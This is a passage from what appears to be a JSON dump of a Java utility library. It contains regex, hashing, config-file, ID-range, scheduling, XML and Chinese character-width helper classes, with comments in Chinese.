break;\n\t\t\tcollection.add(result);\n\t\t\tcontent = delPreLocation(regex, content);\n\t\t}\n\t\treturn collection;\n\t}\n\t\n\t/**\n\t * 取得内容中匹配的所有结果\n\t * \n\t * @param regex 正则\n\t * @param content 被查找的内容\n\t * @param group 正则的分组\n\t * @param collection 返回的集合类型\n\t * @return 结果集\n\t */\n\tpublic static <T extends Collection<String>> T findAll(String regex, String content, int group, T collection) {\n\t\tMatcher matcher = Pattern.compile(regex, Pattern.MULTILINE).matcher(content);\n\t\twhile(matcher.find()){\n\t\t\tcollection.add(matcher.group(group));\n\t\t}\n\t\treturn collection;\n\t}\n\n\t/**\n\t * 从字符串中获得第一个整数\n\t * \n\t * @param StringWithNumber 带数字的字符串\n\t * @return 整数\n\t */\n\tpublic static int getFirstNumber(String StringWithNumber) {\n\t\treturn Integer.parseInt(get(\"\\\\d+\", StringWithNumber, 0));\n\t}\n\t\n\t/**\n\t * 判断该字符串是否是IPV4地址\n\t * \n\t * @param ip IP地址\n\t * @return 是否是IPV4\n\t */\n\tpublic static boolean isIpv4(String ip) {\n\t\tif(LangUtil.isEmpty(ip)){\n\t\t\treturn false;\n\t\t}\n\t\tString regex = \"\\\\b((?!\\\\d\\\\d\\\\d)\\\\d+|1\\\\d\\\\d|2[0-4]\\\\d|25[0-5])\\\\.((?!\\\\d\\\\d\\\\d)\\\\d+|1\\\\d\\\\d|2[0-4]\\\\d|25[0-5])\\\\.((?!\\\\d\\\\d\\\\d)\\\\d+|1\\\\d\\\\d|2[0-4]\\\\d|25[0-5])\\\\.((?!\\\\d\\\\d\\\\d)\\\\d+|1\\\\d\\\\d|2[0-4]\\\\d|25[0-5])\\\\b\";\n\t\treturn Pattern.matches(regex, ip);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/SecureUtil.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.zip.CRC32;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.sun.mail.util.BASE64EncoderStream;\n\n/**\n * 安全相关的工具类，包括各种加密算法\n * @author Wujun\n *\n */\npublic class SecureUtil {\n\tprivate static Logger logger = LoggerFactory.getLogger(SecureUtil.class);\n\t\n\t/**\n\t * 获得指定字符串的MD5码\n\t * @param key 字符串\n\t * @return MD5\n\t */\n\tpublic static String md5(String key) {\n\t\treturn digest(ALGORITHM.MD5, key);\n\t}\n\t\n\tpublic static String sha1(String key) {\n\t\treturn digest(ALGORITHM.SHA1, key);\n\t}\n\t\n\t/**\n\t * 对给定的byte数组做base64编码\n\t * @param bytes byte数组\n\t * @return base64编码\n\t */\n\tpublic static String base64Encode(byte[] bytes){\n\t\treturn new String(BASE64EncoderStream.encode(bytes));\n\t}\n\t\n\tpublic static long crc32(String key) {\n\t\tCRC32 crc32 = new CRC32();\n\t\tcrc32.update(key.getBytes());\n\t\treturn crc32.getValue();\n\t}\n\t\n\t/**\n\t * 计算指定加密算法后生成的结果\n\t * @param algorithm 加密算法枚举\n\t * @param key 字符串\n\t * @return 加密后的结果\n\t */\n\tprivate static String digest(ALGORITHM algorithm, String key) {\n\t\tMessageDigest instance = null;\n\t\ttry {\n\t\t\tinstance = MessageDigest.getInstance(algorithm.toString());\n\t\t} catch (NoSuchAlgorithmException e) {\n\t\t\tlogger.error(\"No such Algorit!\", e);\n\t\t\treturn null;\n\t\t}\n\t\tif(instance != null) {\n\t\t\tinstance.update(key.getBytes());\n\t\t\treturn new String(BASE64EncoderStream.encode(instance.digest()));\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * 加密算法枚举\n\t * @author Wujun\n\t *\n\t */\n\tenum ALGORITHM{\n\t\tMD5, SHA1;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/Setting.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.io.BufferedReader;\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.OutputStreamWriter;\nimport java.lang.reflect.Method;\nimport java.net.URL;\nimport java.nio.charset.Charset;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.Exceptions.SettingException;\nimport com.jun.plugin.commons.util.net.URLUtil;\n\n/**\n * 设置工具类。 用于支持设置文件 1、支持变量，默认变量命名为\n * \n * @author Wujun\n * \n */\npublic class Setting extends HashMap<String, String> {\n\tprivate static final long serialVersionUID = -477527787843971824L;\n\tprivate static Logger logger = LoggerFactory.getLogger(Setting.class);\n\n\t/** 默认字符集 */\n\tpublic final static String DEFAULT_CHARSET = \"utf8\";\n\n\t/** 注释符号（当有此符号在行首，表示此行为注释） */\n\tprivate final static String COMMENT_FLAG_PRE = \"#\";\n\t/** 赋值分隔符（用于分隔键值对） */\n\tprivate final static String ASSIGN_FLAG = \"=\";\n\t/** 分组行识别的环绕标记 */\n\tprivate final static char[] GROUP_SURROUND = { '[', ']' };\n\t/** 变量名称的正则 */\n\tprivate String reg_var = \"\\\\$\\\\{(.*?)\\\\}\";\n\n\t/** 本设置对象的字符集 */\n\tprivate Charset charset;\n\t/** 是否使用变量 */\n\tprivate boolean isUseVariable;\n\t/** 设定文件的URL */\n\tprivate URL settingUrl;\n\t/** 分组的缓存 */\n\tprivate String group_cache;\n\n\t/**\n\t * 基本构造<br/>\n\t * 需自定义初始化配置文件<br/>\n\t * \n\t * @param charset 字符集\n\t * @param isUseVariable 是否使用变量\n\t */\n\tpublic Setting(Charset charset, boolean isUseVariable) {\n\t\tthis.charset = charset;\n\t\tthis.isUseVariable = isUseVariable;\n\t}\n\n\t/**\n\t * 构造，使用相对于Class文件根目录的相对路径\n\t * \n\t * @param pathBaseClassLoader 相对路径（相对于当前项目的classes路径）\n\t * @param charset 字符集\n\t * @param isUseVariable 是否使用变量\n\t */\n\tpublic Setting(String pathBaseClassLoader, String charset, boolean isUseVariable) {\n\t\tURL url = URLUtil.getURL(pathBaseClassLoader);\n\t\tthis.init(url, charset, isUseVariable);\n\t}\n\n\t/**\n\t * 构造\n\t * \n\t * @param configFile 配置文件对象\n\t * @param charset 字符集\n\t * @param isUseVariable 是否使用变量\n\t */\n\tpublic Setting(File configFile, String charset, boolean isUseVariable) {\n\t\tif (configFile == null) {\n\t\t\tlogger.error(\"请指定配置文件！\");\n\t\t\treturn;\n\t\t}\n\t\tURL url = URLUtil.getURL(configFile);\n\t\tthis.init(url, charset, isUseVariable);\n\t}\n\n\t/**\n\t * 构造，相对于classes读取文件\n\t * \n\t * @param path 相对路径\n\t * @param clazz 基准类\n\t * @param charset 字符集\n\t * @param isUseVariable 是否使用变量\n\t */\n\tpublic Setting(String path, Class<?> clazz, String charset, boolean isUseVariable) {\n\t\tURL url = URLUtil.getURL(path, clazz);\n\t\tthis.init(url, charset, isUseVariable);\n\t}\n\n\t/**\n\t * 构造\n\t * \n\t * @param url 设定文件的URL\n\t * @param charset 字符集\n\t * @param isUseVariable 是否使用变量\n\t */\n\tpublic Setting(URL url, String charset, boolean isUseVariable) {\n\t\tthis.init(url, charset, isUseVariable);\n\t}\n\n\t/*--------------------------公有方法 start-------------------------------*/\n\t/**\n\t * 初始化设定文件\n\t * \n\t * @param settingUrl 设定文件的URL\n\t * @param charset 字符集\n\t * @param isUseVariable 是否使用变量\n\t * @return 成功初始化与否\n\t */\n\tpublic boolean init(URL settingUrl, String charset, boolean isUseVariable) {\n\t\tif (settingUrl == null || LangUtil.isEmpty(charset)) {\n\t\t\tlogger.error(\"给定参数无效！\");\n\t\t\treturn false;\n\t\t}\n\t\tthis.charset = Charset.forName(charset);\n\t\tthis.isUseVariable = isUseVariable;\n\t\tthis.settingUrl = settingUrl;\n\n\t\treturn this.load(settingUrl);\n\t}\n\n\t/**\n\t * 加载设置文件\n\t * \n\t * @param settingUrl 配置文件URL\n\t * @return 加载是否成功\n\t */\n\tpublic boolean load(URL settingUrl) {\n\t\tif (settingUrl == null) {\n\t\t\tlogger.error(\"Define setting url is null, please chech it !\");\n\t\t\treturn false;\n\t\t}\n\t\tlogger.debug(\"Load setting file=>\" + settingUrl.getPath());\n\t\tInputStream settingStream = null;\n\t\ttry {\n\t\t\tsettingStream = settingUrl.openStream();\n\t\t\tload(settingStream, isUseVariable);\n\t\t} catch (IOException e) {\n\t\t\tlogger.error(\"Load setting error!\", e);\n\t\t\treturn false;\n\t\t} finally {\n\t\t\tFileUtil.close(settingStream);\n\t\t}\n\t\treturn true;\n\t}\n\n\t/**\n\t * 重新加载配置文件\n\t */\n\tpublic void reload() {\n\t\tthis.load(settingUrl);\n\t}\n\n\t/**\n\t * 加载设置文件。 此方法不会关闭流对象\n\t * \n\t * @param settingStream 文件流\n\t * @param isUseVariable 是否使用变量（替换配置文件值中含有的变量）\n\t * @return 加载成功与否\n\t * @throws IOException\n\t */\n\tpublic boolean load(InputStream settingStream, boolean isUseVariable) throws IOException {\n\t\tthis.clear();\n\t\tBufferedReader reader = new BufferedReader(new InputStreamReader(settingStream, charset));\n\n\t\twhile (true) {\n\t\t\tString line = reader.readLine();\n\t\t\tif (line == null) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tline = line.trim();\n\t\t\t// 跳过注释行和空行\n\t\t\tif (LangUtil.isEmpty(line) || line.startsWith(COMMENT_FLAG_PRE)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// 记录分组名\n\t\t\tif (line.charAt(0) == GROUP_SURROUND[0] && line.charAt(line.length() - 1) == GROUP_SURROUND[1]) {\n\t\t\t\tthis.group_cache = line.substring(1, line.length() - 1).trim();\n\t\t\t}\n\n\t\t\tString[] keyValue = line.split(ASSIGN_FLAG, 2);\n\t\t\t// 跳过不符合简直规范的行\n\t\t\tif (keyValue.length < 2) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tString key = keyValue[0].trim();\n\t\t\tif (!LangUtil.isEmpty(this.group_cache)) {\n\t\t\t\tkey = this.group_cache + \".\" + key;\n\t\t\t}\n\t\t\tString value = keyValue[1].trim();\n\n\t\t\t// 替换值中的所有变量变量（变量必须是此行之前定义的变量，否则无法找到）\n\t\t\tif (isUseVariable) {\n\t\t\t\t// 找到所有变量标识\n\t\t\t\tSet<String> vars = RegexUtil.findAll(reg_var, value, 0, new HashSet<String>());\n\t\t\t\tfor (String var : vars) {\n\t\t\t\t\t// 查找变量名对应的值\n\t\t\t\t\tString varValue = this.get(RegexUtil.get(reg_var, var, 1));\n\t\t\t\t\tif (varValue != null) {\n\t\t\t\t\t\t// 替换标识\n\t\t\t\t\t\tvalue = value.replace(var, varValue);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tput(key, value);\n\t\t}\n\t\tFileUtil.close(reader);\n\t\tthis.group_cache = null;\n\t\treturn true;\n\t}\n\n\t/**\n\t * 设置变量的正则<br/>\n\t * 正则只能有一个group表示变量本身，剩余为字符 例如 \\$\\{(name)\\}表示${name}变量名为name的一个变量表示\n\t * \n\t * @param regex 正则\n\t */\n\tpublic void setVarRegex(String regex) {\n\t\tthis.reg_var = regex;\n\t}\n\n\t/**\n\t * 带有日志提示的get，如果没有定义指定的KEY，则打印debug日志\n\t * \n\t * @param key 键\n\t * @return 值\n\t */\n\tpublic String getWithLog(String key) {\n\t\tString value = super.get(key);\n\t\tif (value == null) {\n\t\t\tlogger.debug(\"No key define for [{}]!\", key);\n\t\t}\n\t\treturn value;\n\t}\n\n\t/**\n\t * 获得指定分组的键对应值\n\t * \n\t * @param key 键\n\t * @param group 分组\n\t * @return 值\n\t */\n\tpublic String get(String key, String group) {\n\t\tString keyWithGroup = key;\n\t\tif (!LangUtil.isEmpty(group)) {\n\t\t\tkeyWithGroup = group + \".\" + keyWithGroup;\n\t\t}\n\t\treturn get(keyWithGroup);\n\t}\n\n\t/**\n\t * 获取字符型型属性值\n\t * \n\t * @param key 属性名\n\t * @return 属性值\n\t */\n\tpublic String getString(String key) {\n\t\treturn getString(key, null);\n\t}\n\n\t/**\n\t * 获取字符型型属性值\n\t * \n\t * @param key 属性名\n\t * @param group 分组名\n\t * @return 属性值\n\t */\n\tpublic String getString(String key, String group) {\n\t\treturn get(key, group);\n\t}\n\n\t/**\n\t * 获取数字型型属性值\n\t * \n\t * @param key 属性名\n\t * @return 属性值\n\t */\n\tpublic int getInt(String key) throws NumberFormatException {\n\t\treturn getInt(key, null);\n\t}\n\n\t/**\n\t * 获取数字型型属性值\n\t * \n\t * @param key 属性名\n\t * @param group 分组名\n\t * @return 属性值\n\t */\n\tpublic int getInt(String key, String group) throws NumberFormatException {\n\t\treturn Integer.parseInt(get(key, group));\n\t}\n\n\t/**\n\t * 获取波尔型属性值\n\t * \n\t * @param key 属性名\n\t * @return 属性值\n\t */\n\tpublic boolean getBool(String key) throws NumberFormatException {\n\t\treturn getBool(key, null);\n\t}\n\n\t/**\n\t * 获取波尔型属性值\n\t * \n\t * @param key 属性名\n\t * @param group 分组名\n\t * @return 属性值\n\t */\n\tpublic boolean getBool(String key, String group) throws NumberFormatException {\n\t\treturn Boolean.parseBoolean(get(key, group));\n\t}\n\n\t/**\n\t * 获取long类型属性值\n\t * \n\t * @param key 属性名\n\t * @return 属性值\n\t */\n\tpublic long getLong(String key) throws NumberFormatException {\n\t\treturn getLong(key, null);\n\t}\n\n\t/**\n\t * 获取long类型属性值\n\t * \n\t * @param key 属性名\n\t * @param group 分组名\n\t * @return 属性值\n\t */\n\tpublic long getLong(String key, String group) throws NumberFormatException {\n\t\treturn Long.parseLong(get(key, group));\n\t}\n\n\t/**\n\t * 获取char类型属性值\n\t * \n\t * @param key 属性名\n\t * @return 属性值\n\t */\n\tpublic char getChar(String key) {\n\t\treturn getChar(key, null);\n\t}\n\n\t/**\n\t * 获取char类型属性值\n\t * \n\t * @param key 属性名\n\t * @param group 分组名\n\t * @return 属性值\n\t */\n\tpublic char getChar(String key, String group) {\n\t\treturn get(key, group).charAt(0);\n\t}\n\n\t/**\n\t * 获取double类型属性值\n\t * \n\t * @param key 属性名\n\t * @return 属性值\n\t */\n\tpublic double getDouble(String key) throws NumberFormatException {\n\t\treturn getDouble(key, null);\n\t}\n\n\t/**\n\t * 获取double类型属性值\n\t * \n\t * @param key 属性名\n\t * @param group 分组名\n\t * @return 属性值\n\t */\n\tpublic double getDouble(String key, String group) throws NumberFormatException {\n\t\treturn Double.parseDouble(get(key, group));\n\t}\n\n\t/**\n\t * 设置值，无给定键创建之。设置后未持久化\n\t * \n\t * @param key 键\n\t * @param value 值\n\t */\n\tpublic void setSetting(String key, Object value) {\n\t\tput(key, value.toString());\n\t}\n\n\t/**\n\t * 持久化当前设置，会覆盖掉之前的设置<br>\n\t * 持久化会不会保留之前的分组\n\t * @param absolutePath 设置文件的绝对路径\n\t */\n\tpublic void store(String absolutePath) {\n\t\ttry {\n\t\t\tFileUtil.touch(absolutePath);\n\t\t\tOutputStream out = FileUtil.getOutputStream(absolutePath);\n\t\t\tBufferedWriter writer = new BufferedWriter(new OutputStreamWriter(out, charset));\n\t\t\tSet<java.util.Map.Entry<String, String>> entrySet = this.entrySet();\n\t\t\tfor (java.util.Map.Entry<String, String> entry : entrySet) {\n\t\t\t\twriter.write(entry.getKey() + ASSIGN_FLAG + entry.getValue());\n\t\t\t}\n\t\t\twriter.close();\n\t\t} catch (FileNotFoundException e) {\n\t\t\t// 不会出现这个异常\n\t\t} catch (IOException e) {\n\t\t\tlogger.error(\"存储设置时出现异常。\", e);\n\t\t}\n\t}\n\n\t/**\n\t * 存储当前设置，会覆盖掉以前的设置\n\t * \n\t * @param path 相对路径\n\t * @param clazz 相对的类\n\t */\n\tpublic void store(String path, Class<?> clazz) {\n\t\tthis.store(FileUtil.getAbsolutePath(path, clazz));\n\t}\n\n\t/**\n\t * 将setting中的键值关系映射到对象中，原理是调用对象对应的set方法<br/>\n\t * 只支持基本类型的转换\n\t * \n\t * @param object 被调用的对象\n\t * @throws SettingException\n\t */\n\tpublic void settingToObject(String group, Object object) throws SettingException {\n\t\ttry {\n\t\t\tMethod[] methods = object.getClass().getMethods();\n\t\t\tfor (Method method : methods) {\n\t\t\t\tString methodName = method.getName();\n\t\t\t\tif (methodName.startsWith(\"set\")) {\n\t\t\t\t\tString field = LangUtil.getGeneralField(methodName);\n\t\t\t\t\tObject value = get(field, group);\n\t\t\t\t\tif (value != null) {\n\t\t\t\t\t\tObject castedValue = LangUtil.cast(method.getParameterTypes()[0], value);\n\t\t\t\t\t\tmethod.invoke(object, castedValue);\n\t\t\t\t\t\tlogger.debug(\"Set {}=>{}\", field, value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tthrow new SettingException(\"转换设置至对象出现异常\", e);\n\t\t}\n\t}\n\n\t/**\n\t * 将setting中的键值关系映射到对象中，原理是调用对象对应的set方法<br/>\n\t * 只支持基本类型的转换\n\t * \n\t * @param object\n\t * @throws SettingException\n\t */\n\tpublic void settingToObject(Object object) throws SettingException {\n\t\tsettingToObject(null, object);\n\t}\n\t/*--------------------------公有方法 end-------------------------------*/\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/Span.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * 数据区间对象 \n * 存放ID最小和最大值\n * 包含一个区间的完整性信息。\n * @author Wujun\n *\n */\npublic class Span {\n\t\n\t/** ID */\n\tpublic long id;\n\t/** 此区间的名称 */\n\tpublic String name;\n\t\n\t/** 最小ID值 */\n\tpublic long min = Long.MAX_VALUE;\n\t/** 最大ID值 */\n\tpublic long max = 0;\n\t\n\t/** 区间内的ID数 */\n\tpublic int count;\n\t/*--------------------------构造方法 start-------------------------------*/\n\tpublic Span(){\n\t}\n\t\n\t/**\n\t * @param id\t区间ID\n\t * @param name 区间名称\n\t */\n\tpublic Span(long id, String name){\n\t\tthis.id = id;\n\t\tthis.name = name;\n\t}\n\t\n\t/**\n\t * @param min 最小ID\n\t * @param max 最大ID\n\t */\n\tpublic Span(long min, long max){\n\t\tthis.min = min;\n\t\tthis.max = max;\n\t}\n\t\n\t/**\n\t * @param name 段名称\n\t * @param min 最小ID\n\t * @param max 最大ID\n\t */\n\tpublic Span(String name, long min, long max){\n\t\tthis.name = name;\n\t\tthis.min = min;\n\t\tthis.max = max;\n\t}\n\t\n\t/**\n\t * @param min 最小ID\n\t * @param max 最大ID\n\t * @param count 初始数目\n\t */\n\tpublic Span(long min, long max, int count){\n\t\tthis.min = min;\n\t\tthis.max = max;\n\t\tthis.count = count;\n\t}\n\t\n\t/**\n\t * @param id ID\n\t * @param min 最小ID\n\t * @param max 最大ID\n\t */\n\tpublic Span(long id, long min, long max) {\n\t\tthis.id = id;\n\t\tthis.min = min;\n\t\tthis.max = max;\n\t}\n\t/*--------------------------构造方法 end-------------------------------*/\n\t\n\t/*--------------------------功能方法 start-------------------------------*/\n\t/**\n\t * 获得两数之差\n\t * @return 两数差\n\t */\n\tpublic long getSub(){\n\t\treturn max - min;\n\t}\n\t\n\t/**\n\t * 切割此ID区间为更小的ID区间对象\n\t * @param partCount 分成多少份\n\t * @return 切割后的区间对象集合\n\t */\n\tpublic List<Span> cut(int partCount){\n\t\tif(partCount == 0) return null;\n\t\tList<Span> list = new ArrayList<Span>();\n\t\t\n\t\t//数据不足以分开，则只返回一份\n\t\tif(partCount == 0 || getSub() == 0){\n\t\t\tlist.add(this);\n\t\t\treturn list;\n\t\t}\n\t\t//先分成partCount-1份完整的，将剩余部分给最后一份\n\t\tlong part = getSub() / partCount;\n\t\tfor(int i = 0; i < partCount; i++){\n\t\t\tlong startId = part * i + this.min;\n\t\t\t//若为最后一批，将剩余的ID全部给之，否则给一个部分\n\t\t\tlong endId = (i >= partCount-1) ? this.max : (startId + part -1);\n\t\t\t\n\t\t\tlist.add(new Span(i,  startId, endId));\n\t\t}\n\t\treturn list;\n\t}\n\t\n\t/**\n\t * ID区间是否为空。\n\t * 判断方式：max == 0 或 min == max\n\t * @return 是否为空\n\t */\n\tpublic boolean isEmpty(){\n\t\tif(max == 0 || min > max){\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\t\n\t/**\n\t * 比较并替换掉对象中已经存在的ID<br/>\n\t * ID计数 +1<br/>\n\t * 所提供ID如果大于max或小于min时，替换掉相应的值\n\t * @param number 被检查的数字\n\t */\n\tpublic void compareToReplace(long number){\n\t\tif(number > max) max = number;\n\t\tif(number < min) min = number;\n\t}\n\t\n\t/**\n\t * 是否在区间之内（闭区间）\n\t * @param number 数字\n\t * @return 是否在区间内\n\t */\n\tpublic boolean isInBetween(long number){\n\t\treturn (number >= min && number <= max);\n\t}\n\t\n\t/**\n\t * 实例化一个空Span\n\t * @return Span空对象\n\t */\n\tpublic static Span newInstance(){\n\t\treturn new Span();\n\t}\n\t/*--------------------------功能方法 end-------------------------------*/\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/TaskScheduler.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.util.Date;\nimport java.util.Timer;\nimport java.util.TimerTask;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n/**\n * 任务调度类\n * @author Wujun\n */\npublic class TaskScheduler extends Timer{\n\tprivate static Logger logger = LoggerFactory.getLogger(TaskScheduler.class);\n\t\n\tpublic TaskScheduler(boolean isDeamon) {\n\t\t//daemon进程\n\t\tsuper(true);\n\t}\n\t\n\t/**\n\t * 实例化一个新对象\n\t * @param isDaemon 是否守护进程\n\t * @return 任务调度对象\n\t */\n\tpublic static TaskScheduler newInstance(boolean isDaemon){\n\t\treturn new TaskScheduler(isDaemon);\n\t}\n\t\n\t/**\n\t * 开始任务计划\n\t * @param timerTask\t定时任务对象\n\t * @param startTime 开始时间 格式是 HH:mm:ss\n\t * @param period 任务运行间隔的时间，毫秒\n\t */\n\tpublic void schedule(TimerTask timerTask, String startTime, long period){\n\t\tString  firstDate = DateUtil.formatDate(new Date()) + \" \" + startTime;\n\t\tsuper.scheduleAtFixedRate(timerTask, DateUtil.parseDateTime(firstDate), period);\n\t\tlogger.info(\"任务将于 \" + firstDate + \" 启动，启动间隔时间为 \" + period /1000+ \" 秒\");\n\t}\n\t\n\t/**\n\t * 开始任务计划\n\t * @param timerTask 定时任务对象\n\t * @param delay 从启动起等待的时间，毫秒\n\t * @param period 任务运行间隔的时间，毫秒\n\t */\n\tpublic void schedule(TimerTask timerTask, long delay, long period) {\n\t\tsuper.scheduleAtFixedRate(timerTask, delay, period);\n\t\tlogger.info(\"任务将于 \" + delay / 1000 + \" 秒后启动，启动间隔时间为 \" + period / 1000 + \" 秒\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/XmlUtil.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\nimport java.net.URL;\n\nimport javax.xml.parsers.ParserConfigurationException;\nimport javax.xml.parsers.SAXParser;\nimport javax.xml.parsers.SAXParserFactory;\n\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.DocumentHelper;\nimport org.dom4j.io.OutputFormat;\nimport org.dom4j.io.SAXReader;\nimport org.dom4j.io.SAXValidator;\nimport org.dom4j.io.XMLWriter;\nimport org.dom4j.util.XMLErrorHandler;\nimport org.xml.sax.SAXException;\n\n/**\n * DOM工具类，处理XML\n * @author Wujun\n */\npublic class XmlUtil {\n\t/** 在XML中无效的字符 正则 */\n\tpublic final static String INVALID_REGEX = \"[\\\\x00-\\\\x08\\\\x0b-\\\\x0c\\\\x0e-\\\\x1f]\";\n\t\n\t/**\n\t * 从字符串中获得DOM对象\n\t * @param xmlString xml字符串\n\t * @return DOM对象\n\t * @throws DocumentException\n\t */\n\tpublic static Document parseDoc(String xmlString) throws DocumentException{\n\t\treturn DocumentHelper.parseText(cleanInvalid(xmlString));\n\t}\n\t\n\t/**\n\t * 从文件获得DOM对象\n\t * @param xmlPathBaseClassLoader 相对路径（相对于当前项目的classes路径）\n\t * @return DOM 对象\n\t * @throws DocumentException\n\t */\n\tpublic static Document readDoc(String xmlPathBaseClassLoader) throws DocumentException{\n\t\treturn new SAXReader().read(XmlUtil.class.getClassLoader().getResourceAsStream(xmlPathBaseClassLoader));\n\t}\n\t\n\t/**\n\t * 从文件获得DOM对象\n\t * @param xmlFile xml文件对象\n\t * @return DOM对象\n\t * @throws DocumentException\n\t */\n\tpublic static Document readDoc(File xmlFile) throws DocumentException{\n\t\treturn new SAXReader().read(xmlFile);\n\t}\n\t\n\t/**\n\t * 从URL获得DOM对象\n\t * @param url XML的URL\n\t * @return DOM对象\n\t * @throws DocumentException\n\t * @throws IOException \n\t */\n\tpublic static Document readDoc(URL url) throws DocumentException, IOException{\n\t\treturn new SAXReader().read(url.openStream());\n\t}\n\t\n\t/**\n\t * 创建一个空XML\n\t * @param rootElementName 根节点名\n\t * @return XML对象\n\t */\n\tpublic static Document createDoc(String rootElementName){\n\t\tDocument doc = DocumentHelper.createDocument();\n\t\tdoc.addElement(rootElementName);\n\t\treturn doc;\n\t}\n\t\n\t/**\n\t * 写入XML到文件\n\t * @param doc XML文档\n\t * @param filePath 文件的路径\n\t * @param charset 字符集\n\t * @param isEscapeText 是否对特殊字符转义\n\t * @throws IOException\n\t */\n\tpublic static void xmlWriteToFile(Document doc, String filePath, String charset, boolean isEscapeText) throws IOException {\n\t\tOutputFormat outputFormat = OutputFormat.createPrettyPrint();\n\t\toutputFormat.setEncoding(charset);\n\t\tXMLWriter writer = null;\n\t\ttry {\n\t\t\twriter = new XMLWriter(FileUtil.getBufferedWriter(filePath, charset, false), outputFormat);\n\t\t\twriter.setEscapeText(isEscapeText);\n\t\t\twriter.write(doc);\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (FileNotFoundException e) {\n\t\t\t//不会发生此异常（在getBufferedWriter方法中已经做了自动创建文件操作）\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tif(writer != null) writer.close();\n\t\t}\n\t}\n\t\n\t/**\n\t * 检验指定的XML是否符合\n\t * @param doc 被检验的XML文档\n\t * @param schemePath schema的路径\n\t * @return 如果出错，返回错误信息，否则返回null\n\t * @throws ParserConfigurationException\n\t * @throws SAXException\n\t * @throws DocumentException\n\t */\n\tpublic static String validateBySchema(Document doc, String schemePath) throws ParserConfigurationException, SAXException, DocumentException{\n\t\tXMLErrorHandler errorHandler =  new XMLErrorHandler();\n\t\tSAXParserFactory factory = SAXParserFactory.newInstance();\n\t\tfactory.setValidating(true);\n\t\tfactory.setNamespaceAware(true);\n\t\tSAXParser parser = factory.newSAXParser();\n\t\t\n\t\tparser.setProperty(\n                \"http://java.sun.com/xml/jaxp/properties/schemaLanguage\",\n                \"http://www.w3.org/2001/XMLSchema\");\n        parser.setProperty(\n                \"http://java.sun.com/xml/jaxp/properties/schemaSource\",\n                \"file:\" + schemePath);\n        \n        SAXValidator validator = new SAXValidator(parser.getXMLReader());\n        validator.setErrorHandler(errorHandler);\n        validator.validate(doc);\n        \n        if (errorHandler.getErrors().hasContent()) {\n        \treturn errorHandler.getErrors().asXML();\n        }\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * 去除XML文本中的无效字符\n\t * @param xmlContent XML文本\n\t * @return 当传入为null时返回null\n\t */\n\tpublic static String cleanInvalid(String xmlContent){\n\t\tif (xmlContent == null) return null;\n\t\treturn xmlContent.replaceAll(INVALID_REGEX, \"\");  \n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/ZhUtil.java",
    "content": "package com.jun.plugin.commons.util;\n\n/**\n * 中文相关工具类\n * \n * @author Wujun\n * \n */\npublic class ZhUtil {\n\n\tpublic final static String S2T_PATH = \"data/simplified2traditional.setting\";\n\tpublic final static String T2S_PATH = \"data/traditional2simplified.setting\";\n\n\t/** 半角!：ASCII表中可见字符从!开始，偏移位值为33(Decimal) */\n\tprivate static final char DBC_CHAR_START = 33;\n\t/** 半角~：ASCII表中可见字符到~结束，偏移位值为126(Decimal) */\n\tprivate static final char DBC_CHAR_END = 126;\n\t/** 半角空格的值：在ASCII中为32(Decimal) */\n\tprivate static final char DBC_SPACE = ' ';\n\n\t/** 全角！：全角对应于ASCII表的可见字符从！开始，偏移值为65281 */\n\tprivate static final char SBC_CHAR_START = 65281;\n\t/** 全角～：全角对应于ASCII表的可见字符到～结束，偏移值为65374 */\n\tprivate static final char SBC_CHAR_END = 65374;\n\t/** 全角空格的值：它没有遵从与ASCII的相对偏移，必须单独处理 */\n\tprivate static final char SBC_SPACE = 12288;\n\n\t/** 全角半角转换间隔：ASCII表中除空格外的可见字符与对应的全角字符的相对偏移 */\n\tprivate static final int CONVERT_STEP = 65248;\n\n\t/** 简体到繁体的映射表 */\n\tprivate static Setting s2tSetting;\n\t/** 繁体到简体的映射表 */\n\tprivate static Setting t2sSetting;\n\n\t/**\n\t * 初始化简体到繁体的映射表\n\t */\n\tpublic static void initS2T() {\n\t\ts2tSetting = new Setting(S2T_PATH, \"utf8\", false);\n\t}\n\n\t/**\n\t * 初始化繁体到简体的映射表\n\t */\n\tpublic static void 